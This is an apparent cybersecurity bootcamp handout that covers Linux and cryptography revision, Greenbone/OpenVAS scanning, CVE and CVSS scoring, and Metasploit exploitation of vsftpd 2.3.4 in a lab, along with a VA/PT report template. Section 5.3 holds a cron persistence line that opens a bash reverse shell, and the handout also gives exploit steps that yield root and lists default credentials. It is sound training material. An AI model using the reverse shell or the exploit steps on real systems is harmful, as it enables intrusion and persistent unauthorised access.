STUDENT HANDOUT · DAY 3

From Vulnerability Scanning to Exploitation and Reporting

Digital Forensics & Cyber Security Bootcamp · Atomcamp

Trainer: Waseem Abbas Khan — Senior Cybersecurity Specialist, CEI Master Trainer

What this day completed

Day 2 ended with a scanned, manually researched CVE and a written finding. Day 3 takes that finding the rest of the way: through automated scanning with a professional platform, controlled exploitation, and finally into the structure of a deliverable that a client will actually read and act upon.

The session also consolidated the Weekend 1 material — Linux, virtualisation, cryptography, networking, status codes — because every one of those subjects reappears once you move from scanning into exploitation.

SCOPE AND LEGAL CONTEXT Every technique in this handout was executed against Metasploitable 2 in the course laboratory, on a host-only network. Exploitation against any system you do not own, or do not have written authorisation to test, is a criminal offence in Pakistan under the Prevention of Electronic Crimes Act 2016 and in every comparable jurisdiction. The skill you are learning is the ability to do this lawfully, within a written scope, and to prove afterwards exactly what you did.

Outcomes

#	Outcome	Evidence produced
1	Explain the difference between a vulnerability assessment and a penetration test	A written definition in your own words
2	Install, initialise and operate Greenbone/OpenVAS, and interpret its report	GVM scan of the lab target with exported results
3	Convert a vulnerability into a working exploitation with Metasploit	A shell with the prompt recorded
4	Describe the post-exploitation phases and perform one of them	A persistence or privilege-escalation demonstration
5	Classify an engagement as black-box, grey-box or white-box and justify the classification	Scope statement in the report
6	Structure and write a complete VA/PT report to the supplied template	The submitted report

1. Consolidating the Foundation

The first part of the session returned to Weekend 1 material. That revision is not filler: every item in this section reappears in the exploitation phase, and a gap in any one of them surfaces as a failure later.

1.1 Linux essentials

Command	Purpose	Where it reappears
ls -l	Long listing with permissions, owner, size, time	Reading permissions on a compromised host
ls -a	Include hidden files (dotfiles)	Finding configuration and history files
pwd	Print working directory	Knowing where you are before destructive commands
whoami	Current user	The first question after obtaining a shell
cd, cd ..	Change directory, move up one level	Navigation during post-exploitation
mkdir, touch	Create directory, create empty file	Staging tools and payloads
nano, vi, vim	Text editors	Editing configuration and scripts
cat	Print a file	Reading /etc/passwd, configs, credentials
man, whatis	Manual page, one-line description	Learning an unfamiliar tool without internet

```
man nmap
whatis nmap
ls -la
whoami
pwd
```

1.2 User and group management

```
sudo adduser newuser
groupadd newgroup
usermod -aG newgroup newuser
usermod -aG sudo newuser
id newuser
```

EXPECTED OUTPUT

```
uid=1001(newuser) gid=1001(newuser) groups=1001(newuser),27(sudo)
```

The -aG form is the important one. The -a means append; without it, -G replaces every supplementary group the user belonged to, silently removing access they previously had. This is one of the most common production mistakes in Linux administration, and it is also a technique used during privilege escalation to add a controlled account to a privileged group.

1.3 The privilege model

```
sudo -i          # login shell as root, using YOUR password
exit             # return to your own account
```

The structure is: a normal user invokes sudo, sudo consults /etc/sudoers or the sudo group, and if permitted the command runs with root's effective privileges. Kali's default user is already a member of the sudo group, which is why sudo works immediately on a fresh installation.

PRECISION ON THE PRIVILEGE MODEL Two clarifications worth stating precisely. First, sudo prompts for YOUR password, not root's — that is the entire design intent, so that no one needs to know or share the root password. Second, the condition is not 'the user must be a superuser'; the user must be a member of the sudo group (or listed explicitly in /etc/sudoers). Verify with 'sudo -l', which lists what your account may actually run.

1.4 Cryptography: the three words that get confused

Term	Reversible without a key?	Purpose	Example
Encoding	Yes, always	Represent data in a transport-safe format	Base64
Hashing	No — one way by design	Integrity and fingerprinting	SHA-256

Encryption	Only with the correct key	Confidentiality	AES, RSA
Steganography	Only with the right tool	Hide the existence of the data	LSB in an image, data appended to a file

```
echo -n 'hello world' | base64
echo -n 'hello' | sha256sum
mkdir -p ~/crypto && cd ~/crypto
echo 'my secret' > plain.txt
openssl enc -aes-256-cbc -salt -pbkdf2 -in plain.txt -out secret.enc
openssl enc -d -aes-256-cbc -pbkdf2 -in secret.enc -out recovered.txt
```

The distinction matters in this part of the course for one specific reason: when you find Base64 in a payload or a configuration file, the question is not whether it can be cracked — it can always be decoded — but what the decoded content reveals. When you find an AES blob, the question is where the key is stored, which is often in the same file.

1.5 Symmetric, asymmetric and RSA

	Symmetric	Asymmetric
Keys	One shared key	A key pair: public and private
Speed	Fast; used for bulk data	Slow; used for small data or key exchange
Problem it solves	Bulk confidentiality	Key distribution
Where you meet it	Disk encryption, file encryption	TLS, signatures, SSH authentication

```
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem
echo 'statement' > st.txt
openssl dgst -sha256 -sign private.pem -out sig.bin st.txt
openssl dgst -sha256 -verify public.pem -signature sig.bin st.txt
```

EXPECTED OUTPUT

```
Verified OK
```

1.6 Networking, status codes and shell operators

```
ip a
ip route
ping -c 4 192.168.50.129
traceroute 192.168.50.129
```

Status range	Class	Common members
100–199	Informational	100 Continue, 101 Switching Protocols
200–299	Success	200 OK, 201 Created, 204 No Content
300–399	Redirection	301 Moved Permanently, 302 Found, 304 Not Modified
400–499	Client error	400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
500–599	Server error	500 Internal Server Error, 502 Bad Gateway, 503 Unavailable

Operator	Meaning	Example
;	Run the next command regardless of the first	ping -c1 x ; echo done
&&	Run the next command only if the first succeeded	apt update -y && apt upgrade -y
>	Redirect stdout to a file (truncate)	nmap -sV x > scan.txt
>>	Append stdout to a file	nmap -sV x >> scan.txt
|	Pipe stdout into the next command	ps -A | grep firefox
&	Run in the background	wireshark &

```
sudo apt update -y && sudo apt upgrade -yy
```

1.7 TTL and hop counting

The session worked through TTL arithmetic again, because the same reasoning appears whenever you fingerprint a host.

Observation	Reasoning	Conclusion
ttl=109	Start value 128 (Windows) minus 19	A Windows host approximately 19 hops away
ttl=64	Start value 64 (Linux), unchanged	A Linux host on the same segment or one hop away
ttl=52	Start value 64 minus 12	A Linux host twelve hops away

FINGERPRINTING DISCIPLINE TTL is an inference, not proof. Devices rewrite TTL, NAT boundaries alter it, and tunnels conceal hops. Write 'the response is consistent with a Windows host at approximately N hops' rather than 'the host is Windows'. The difference is the difference between an observation and a claim you cannot defend.

1.8 Reconnaissance and the three scanning disciplines

Discipline	Question	Tools
Network scanning	Which hosts are alive?	nmap -sn, netdiscover, ipscan
Port scanning	Which services are exposed?	nmap -p, -sV, -sU, -O
Vulnerability scanning	Which services are weak, and how weak?	NSE, OpenVAS, manual research

Reconnaissance divides into two modes that you must be able to distinguish in a report. Passive reconnaissance gathers information without touching the target — search engines, certificate transparency logs, public DNS records, archived pages. Active reconnaissance sends traffic to the target, and therefore can be logged and attributed. Every scan in this course is active reconnaissance, which is precisely why written authorisation is required before the first packet is sent.

2. Automated Vulnerability Scanning with Greenbone (OpenVAS)

Manual CVE research does not scale. A single host produced two findings after an hour of work; an estate of two hundred servers cannot be assessed that way. An automated platform such as Greenbone Vulnerability Management, which includes the OpenVAS scanner, performs the discovery, service identification and vulnerability correlation in one pass, and produces a report.

2.1 Installation and initialisation

```
sudo apt update
sudo apt install gvm -y
sudo gvm-setup
sudo gvm-check-setup
sudo gvm-start
```

EXPECTED OUTPUT
(gvm-setup is lengthy: it creates the database, generates certificates
and downloads the feed. Allow 20-40 minutes and a stable connection.)

Each command has one job. gvm-setup initialises the installation, users, certificates and the vulnerability feed. gvm-check-setup verifies that every component is present and correctly configured, and tells you precisely what is wrong if something is. gvm-start launches the services and the web interface.

THE STEP STUDENTS SKIP Run gvm-check-setup after every gvm-setup. It performs a sequence of numbered checks and reports each one as OK or as a specific failure. Most installation problems are a stale package feed, insufficient database memory, or a service that failed to start — all of which gvm-check-setup names explicitly. Do not proceed to scanning until it reports success.

2.2 Virtual appliance alternative

If the package installation proves troublesome, the Greenbone project publishes a virtual appliance in OVA/OVF format. Import it into your hypervisor, boot it, and configure the network and admin credentials through the console. This is often the more reliable route on a laptop, and it avoids the feed-download step entirely.

Approach	Advantages	Disadvantages
Package on Kali	Native, scriptable, updates with apt	Long initialisation, feed download, occasional service failures
Virtual appliance (OVA/OVF)	Self-contained, preconfigured, quick to restore	A second VM consuming RAM; its own update path

2.3 Using the platform

1. Open the web interface, typically on port 9392, and log in. Change the default administrator password immediately; the default is well known.
2. Create a target: the IP address or range you are authorised to scan.
3. Create or select a scan configuration. The full and fast configuration is the usual starting point; it uses safe checks and a broad feed.
4. Create a task that links target and configuration, and start it.
5. Read the report in the platform first. Export it as PDF, HTML or XML depending on the deliverable.

THE POINT OF THE PLATFORM An automated scanner does not replace the analyst. It produces several hundred candidate findings, some of which are true, some are duplicates of each other, and some are products of a banner that the tool misread. Your value is in triage: confirming what is real, merging what is duplicate, and discarding what is undocumented. A report that simply reproduces the scanner output is not an assessment.

2.4 Greenbone versus Nessus

	Greenbone / OpenVAS	Nessus
Cost	Open source, free	Commercial licence (a limited free edition exists)
Feed	Community feed, updated daily	Tenable research feed
Interface	Web, with a somewhat dated workflow	Modern web interface
Typical use	Learning, budget-constrained environments, labs	Commercial engagements, wider plugin coverage
Common in industry	Present, particularly in Europe and in open-source estates	Very common in consulting

Learn one and you have learnt both. The workflow — target, policy, task, report, triage — is identical across platforms. What differs is the coverage of the plugin feed and the quality of the interface.

2.5 Vulnerability assessment versus penetration test

This distinction is asked in almost every security interview, and the session stated it clearly enough to be quotable.

	Vulnerability assessment (VA)	Penetration test (PT)
Goal	Identify and prioritise weaknesses	Prove what an attacker could actually achieve
Depth	Breadth; automated scanning plus validation	Depth; manual exploitation and post-exploitation
Typical output	Scored list of findings with remediation	Narrative of an attack chain with evidence
Time	Hours to days	Days to weeks
Business question	What is exposed?	What would happen if someone tried?
Risk of disruption	Low if configured safely	Higher; exploitation can destabilise services

THE ONE-LINE DISTINCTION A VA tells the client what is wrong. A PT tells the client what it would cost them if nobody fixed it. Most engagements contain both, in that order, and the exploitation phase you are about to perform is the transition between them.

3. CVE, CVSS and the Research Workflow

3.1 What a CVE is

A CVE is a public, unique identifier for one specific security flaw. Think of it as a tracking number: it does not describe severity, it does not recommend a fix, and it does not tell you whether the flaw affects you. It exists so that two people in different organisations, speaking different languages, can refer to the same vulnerability unambiguously.

Attribute	Detail
Format	CVE-YYYY-NNNNN — year of assignment, then a sequence number
Example	CVE-2011-2523 — assigned in 2011, sequence 2523
Managed by	The MITRE Corporation, under contract to CISA (US Cybersecurity and Infrastructure Security Agency)
Not to be confused with	CWE (the class of weakness) or CVSS (the severity score)

3.2 Where to research a CVE

Source	What it gives you	Why you use it
cve.mitre.org	The canonical CVE record and description	The authoritative reference
nvd.nist.gov	Description plus CVSS score and vector	The standard scoring source
cvedetails.com	Aggregated, sortable index with trends	Quick comparative view
exploit-db.com	Public proof-of-concept exploits	Whether a working exploit exists
rapid7.com/db	Metasploit module database	Whether Metasploit can exploit it
GitHub	Write-ups, scripts, tooling	Alternative implementations and context
Vendor advisories	Debian, Red Hat, Ubuntu, Microsoft	Distro-specific status and patch guidance

3.3 The evolution of CVSS

Version	Year	Notable change
CVSS v1	2005	First attempt; rarely encountered in documentation today
CVSS v2	2007	Widely adopted; still present in older vendor advisories
CVSS v3.0	2015	Added Scope, changed how impact is weighted
CVSS v3.1	2019	Current standard; clarified Scope and added several formulas
CVSS v4.0	2023	Newer; adds threat and environmental metrics at the base level

Always state which version you are quoting. A score of 9.8 under CVSS v3.1 and a score under CVSS v2 are not directly comparable, and a report that mixes versions without saying so is unreliable.

3.4 The score bands and the vector

Score range	Rating	Triage implication
0.0	None	No meaningful impact
0.1 – 3.9	Low	Schedule into normal work
4.0 – 6.9	Medium	Plan into a maintenance window
7.0 – 8.9	High	Address within the current cycle
9.0 – 10.0	Critical	Address immediately

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8`

Metric	Value	Meaning
AV — Attack Vector	N (Network)	Reachable across a network boundary
AC — Attack Complexity	L (Low)	No special conditions required
PR — Privileges Required	N (None)	No account needed
UI — User Interaction	N (None)	No victim action required
S — Scope	U (Unchanged)	Impact stays within the vulnerable component
C — Confidentiality	H (High)	Complete loss of confidentiality

I — Integrity	H (High)	Complete loss of integrity
A — Availability	H (High)	Complete loss of availability

4. Engagement Types and Scope

Before any tool is run, the engagement must be classified. The classification determines what information you are given, which in turn determines what you can realistically find, and it belongs in the scope section of the report.

4.1 Black-box, grey-box and white-box

Type	What you are given	Simulates	What it tests	Limitation
Black-box	An IP address or a hostname only	An external attacker with no prior knowledge	External exposure and discoverability	Time is spent on discovery that an insider would skip
Grey-box	Some access: a user account, a portal login, partial documentation	A malicious insider, or a leaked credential scenario	Privilege escalation and lateral movement from a realistic starting point	Findings depend heavily on the starting position granted
White-box	Full access: source code, architecture diagrams, credentials, administrator access	A review, not an attack	Every reachable flaw, including ones an attacker would never find	Does not reveal what is discoverable from outside

THE MIS-SCOPING CONVERSATION None of the three is 'better'. They answer different questions. A client who asks for a black-box test but expects the depth of a white-box review has mis-scoped the engagement, and it is your professional obligation to say so before the contract is signed, not after the report disappoints them.

4.2 Scope elements that must be agreed in writing

Element	Why it must be explicit
Targets	Exact IP ranges, hostnames, applications; everything else is out of scope
Testing window	Dates and hours; production systems may permit only out-of-hours testing
Excluded techniques	Denial of service, social engineering, physical entry, destructive payloads
Source addresses	Which IPs your testing will originate from, so the client can whitelist or exclude them
Emergency contact	Who to call if a system becomes unstable, and the stop procedure
Data handling	What you may collect, how it is stored, whether it is destroyed after the report
Access granted	Credentials, VPN accounts, jump-server details
Reporting obligations	Interim notification for critical findings; final report deadline

The target environment described in the session — two web applications and two networks, ten servers split between Linux and Windows, reached through a VPN and a jump server — is a realistic estate. Note that access via a jump server means the engagement is grey-box, not black-box: you have been given a starting position inside the perimeter, and the report must say so.

5. Exploitation with Metasploit

The session moved from a documented finding to a working shell. This is the step that converts a vulnerability assessment into a penetration test, and it is the step that carries the greatest legal and operational risk.

5.1 The workflow

```
msfconsole -q
```

```
EXPECTED OUTPUT
msf6 >
```

```
search vsftpd 2.3.4
```

```
EXPECTED OUTPUT
Matching Modules
================
  #  Name                                  Disclosure Date  Rank
  -  ----                                  ---------------  ----
  0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent
```

```
use 0
show options
```

```
EXPECTED OUTPUT
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s)
  RPORT   21               yes       The target port
```

```
set RHOSTS 192.168.50.129
exploit
```

```
EXPECTED OUTPUT
[+] 192.168.50.129:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.10:4444 -> 192.168.50.129:6200)
```

Each command has one function. search queries the module database. use selects a module by index or by full name. show options lists the parameters that module requires. set assigns a value. exploit runs it; run is an alias that does the same for non-exploit modules.

Rank	Meaning
excellent	Reliable; works against a specific, precisely identified version
great	Reliable under defined conditions
good	Works, but the default target may not be correct
normal	Often useful, frequently unreliable
average / low / manual	Unreliable, or requires manual steps

5.2 LHOST and RHOSTS

RHOSTS is the target; LHOST is the address to which the target will connect back. For a reverse shell — which is what most modules establish — the target initiates the connection outbound, because outbound traffic is usually permitted where inbound is not. Setting LHOST to an address the target cannot reach is the single most common reason a working exploit produces no session.

5.3 After the shell

Obtaining a session is the beginning of the engagement, not the end. The session continued into the post-exploitation phases, which must be named and understood even where there is not time to perform each one.

Phase	What it involves	Why it matters to the client
Shell upgrading	Converting a basic command shell into a Meterpreter session	Enables the remaining phases

Privilege escalation	Moving from a service account to root or SYSTEM	Determines the true blast radius
Maintaining access	Persistence: scheduled tasks on Windows, cron on Linux	Shows the attacker intends to return
Lateral movement / pivoting	Reaching systems that are not directly accessible	Reveals segmentation weaknesses
Data exfiltration	Demonstrating that sensitive data can be extracted	Turns a technical finding into a business one
Covering tracks	Removing artefacts and clearing logs	Explains why detection is difficult

```
# upgrading a shell once inside a session
sessions -u 1

# persistence example (lab only)
# Windows: scheduled task
# Linux:   cron entry
crontab -e
# add:  * * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.50.10/4444 0>&1'
```

THE ACTIONS THAT NEED EXPLICIT PERMISSION Everything in this section modifies the target system. Persistence writes a scheduled task or a cron entry that survives reboot; covering tracks deletes logs. On a client engagement these actions require explicit authorisation, and covering tracks is frequently excluded altogether because it destroys the evidence the client needs. Confirm what is permitted before you run it, and always remove what you added.

5.4 Credential findings from the scan

The session also recorded a finding from service enumeration: valid credentials were identified for two accounts, user:user and msfadmin:msfadmin. This is a finding of at least the same severity as the backdoor, and arguably more damaging, because it does not require a vulnerable binary.

Finding	Why it matters	Remediation
Default credentials in use	Publicly documented; defeats every downstream control	Force a change at build time; enforce complexity and length
Weak password policy	Short passwords fall to dictionary attack	Minimum length 10 or more, complexity, banned-password list
Same password across accounts	One compromise becomes many	Unique credentials; password manager
rockyou.txt exists for a reason	It contains over 14 million real passwords, including 123456 and password	Dictionary-attack resistance is a policy outcome, not a technical one

Note the password list referenced in the session. rockyou.txt ships with Kali, extracted from a breach of 14 million accounts, and it contains 123456, password, iloveyou and similar. Its continued effectiveness is why minimum-length and banned-password policy remains a genuine control rather than a compliance ritual.

6. The VA/PT Report

The report is the product. Everything the client paid for is contained in it, and everything you did is judged by it. The template below is the structure supplied in the session, expanded with what belongs in each section.

6.1 Structure

Section	Contents	Audience
Title page	Title, target environment, date of assessment, prepared by, prepared for, classification marking	Everyone
1. Executive summary	What was performed, what was found, engagement type, simulation type, counts by severity, highest severity, primary impact	Decision-makers
2. Engagement scope and details	Scope type, address ranges, testing window, methodology, access granted, exclusions	Technical and legal
3. Findings and proofs of concept	One entry per finding, fully documented	Technical teams
4. Remediation	Prioritised actions, with references	Technical teams and management
5. References	CVE, CWE, vendor advisories, exploit sources	Technical teams
Appendix	Raw evidence, tool output, screenshots	Verification

6.2 The executive summary

Write this last and read it first. It is the only section most executives will read, and it must stand alone.

```
Total vulnerabilities identified:    4 High, 2 Medium, 1 Critical
Highest severity rating:             Critical (CVSS 9.8)
Primary impact:                      Complete remote code execution and unauthorised
                                     access to the system, via an unpatched FTP service
                                     and weak service credentials
Engagement type:                     Grey-box
Simulation type:                     Reconnaissance, exploitation and post-exploitation
```

THE SENTENCE THAT MATTERS The 'primary impact' line is the most important sentence in the report. 'Critical vulnerability found' means nothing to a managing director. 'An attacker could take complete control of the system that holds customer records' means everything. Write the second one.

6.3 The findings section, fully written

```
TITLE        Backdoor Command Execution in vsftpd 2.3.4
SEVERITY     CRITICAL (CVSS 9.8)
VECTOR       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AFFECTED     192.168.50.129:21/tcp — FTP — vsftpd 2.3.4
CVE          CVE-2011-2523
CWE          CWE-78 — OS Command Injection

DESCRIPTION
vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which
opens a shell on port 6200/tcp. The compromised archive was distributed from the
official download server for approximately three days.

PROOF OF CONCEPT
 Step 1 — Discovery via nmap
   nmap -sV -p21 192.168.50.129
   Result: 21/tcp open ftp vsftpd 2.3.4
   [screenshot]
   Explanation: version detection identified the exact vulnerable build.

 Step 2 — Exploitation via Metasploit
   msfconsole -q
   use exploit/unix/ftp/vsftpd_234_backdoor
   set RHOSTS 192.168.50.129
   exploit
   Result: command shell opened; uid=0(root)
   [screenshot]
   Explanation: the module triggers the backdoor and connects to port 6200.

 Step 3 — Confirmation of access
   id
   Result: uid=0(root) gid=0(root) groups=0(root)
   [screenshot]
   Explanation: confirms root-level code execution.

IMPACT
Unauthenticated remote code execution as root, on a host that also provides
database services. Full confidentiality, integrity and availability loss.

REMEDIATION
 1. Upgrade vsftpd to a current, stable release.
 2. Disable anonymous and unnecessary legacy FTP services entirely.
 3. If FTP is business-critical, restrict port 21 to named source addresses.
 4. Verify package signatures against the vendor before deployment.

REFERENCES
 1. https://www.exploit-db.com/exploits/49757
 2. https://nvd.nist.gov/vuln/detail/CVE-2011-2523
 3. https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
```

The proof-of-concept section is the part a reader will follow. Each step needs three things: the exact command, the result, and one sentence explaining why that result matters. A screenshot without an explanation is evidence the client cannot interpret; an explanation without a screenshot is an assertion.

6.4 Writing the second finding the session left open

The session identified a second vulnerability but did not complete it. It is completed here, because it demonstrates a different and equally common category: weak credentials rather than a vulnerable binary.

```
TITLE        Weak Default Credentials on Multiple Services
SEVERITY     HIGH (CVSS 8.1)
VECTOR       CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AFFECTED     FTP (21/tcp), SSH (22/tcp), MySQL (3306/tcp), HTTP login (80/tcp)
CWE          CWE-1392 — Use of Default Credentials

DESCRIPTION
Two service accounts were found to be using default, publicly documented
credentials: user:user and msfadmin:msfadmin. These are published in the
product documentation and are the first pair any attacker attempts.

PROOF OF CONCEPT
 Step 1 — FTP login
   ftp 192.168.50.129
   Name: user     Password: user
   Result: 230 Login successful.
   Explanation: default credentials grant interactive access.

 Step 2 — Credential reuse against SSH
   ssh msfadmin@192.168.50.129
   Result: successful authentication
   Explanation: the same weak credentials are valid on a second service.

IMPACT
Authenticated access to the host, including local privilege escalation via
sudo, without requiring any software vulnerability.

REMEDIATION
 1. Change all default credentials before the system is reachable on any network.
 2. Enforce a minimum password length of 10 characters, with complexity.
 3. Deploy a banned-password list that includes rockyou.txt entries.
 4. Disable accounts that are not required; audit for shared credentials.
 5. Enable MFA on any remotely reachable administrative interface.
```

ON SCORING HONESTLY Note the deliberate difference in the vector. Attack Complexity is H (High) rather than L, because the attacker must first know or guess the credentials — it is not a single deterministic request. Choosing the metrics honestly is what makes a severity rating defensible. Inflating every finding to Critical destroys your credibility; understating one destroys your client.

7. Laboratory Requirements

7.1 Host and hypervisor

Component	Requirement	Notes
Host operating system	Windows 10 or 11	The session used Windows with VMware Workstation Pro 17
Hypervisor	VMware Workstation Pro 17, or VirtualBox	Either is acceptable; the network concepts are identical
Disk	100–150 GB free	Each VM plus its snapshots; GVM in particular is disk-heavy
RAM	16 GB strongly recommended; 8 GB is a hard minimum	Kali plus a target plus a scanner will exhaust 8 GB quickly
CPU	Quad-core with virtualisation enabled in firmware	Without VT-x or AMD-V the VMs will not start

7.2 Virtual machines

VM	Role	Approximate RAM
Kali Linux	Attacker: nmap, Metasploit, GVM	4 GB
Metasploitable 2	Primary target	1 GB
Windows 10 (optional)	Second target for SMB and Windows post-exploitation	3–4 GB

Ubuntu Server (optional)	A realistic Linux target	2 GB

7.3 Obtaining the images

Item	Source
Kali Linux	kali.org — download the pre-built virtual machine image
Metasploitable 2	vulnhub.com/entry/metasploitable-2,29
Windows 10 evaluation	Microsoft evaluation downloads
Ubuntu Server	ubuntu.com/download/server

A NOTE ON SOFTWARE SOURCES The session referenced a third-party site for VMware Workstation Pro. Use the official VMware or Broadcom download, which is free for personal use, or use VirtualBox, which is open source. Downloading commercial software from unofficial mirrors is a supply-chain risk, and installing a tampered hypervisor on the machine that hosts your lab is a genuinely poor way to begin a career in security.

7.4 Network configuration

Place all lab machines on an isolated segment. A host-only adapter or an internal network both work. The critical property is that the intentionally vulnerable target is not reachable from your real network.

```
# verify isolation from Kali
ip -br addr show
ping -c 2 192.168.50.129
ping -c 2 -W 1 8.8.8.8 ; echo "internet exit=$?"
```

EXPECTED OUTPUT

```
64 bytes from 192.168.50.129: icmp_seq=1 ttl=64 time=1.2 ms
2 packets transmitted, 0 received, 100% packet loss, time 1013ms
internet exit=1
```

The internet ping must fail. If it succeeds while the target is on the same segment, the segment is not isolated and every exploitation step you take is being performed on a network you do not fully control.

8. Key Takeaways and Assignment

The eight points worth carrying forward

1. A vulnerability assessment identifies weaknesses; a penetration test proves impact. Know which one you were hired to deliver.
2. An automated scanner produces candidates, not findings. Triage is the analyst's work.
3. Default credentials are as severe as a software vulnerability, and easier for an attacker to use.
4. Score honestly. Inflated severity ratings destroy credibility faster than missed findings.
5. LHOST must be reachable from the target; this is the most common reason an exploit yields no session.
6. Post-exploitation actions modify the target. Confirm authorisation before persistence or log clearing.
7. The executive summary must stand alone, and its impact sentence is the most important line in the report.
8. Every proof-of-concept step needs a command, a result, and one sentence explaining why it matters.

Assignment

Task	Requirement	Weight
VA/PT report	Complete report to the template in section 6, covering at least four findings from your own scan, each with a full proof of concept	60%
GVM comparison	Run GVM against the target and compare its findings with your manual results. Where do they agree, where do they differ, and why?	20%
Exploitation write-up	Document the Metasploit exploitation step by step, with screenshots and an explanation of each command	20%

Submit the report in /s07-report as a PDF, with raw evidence in an appendix.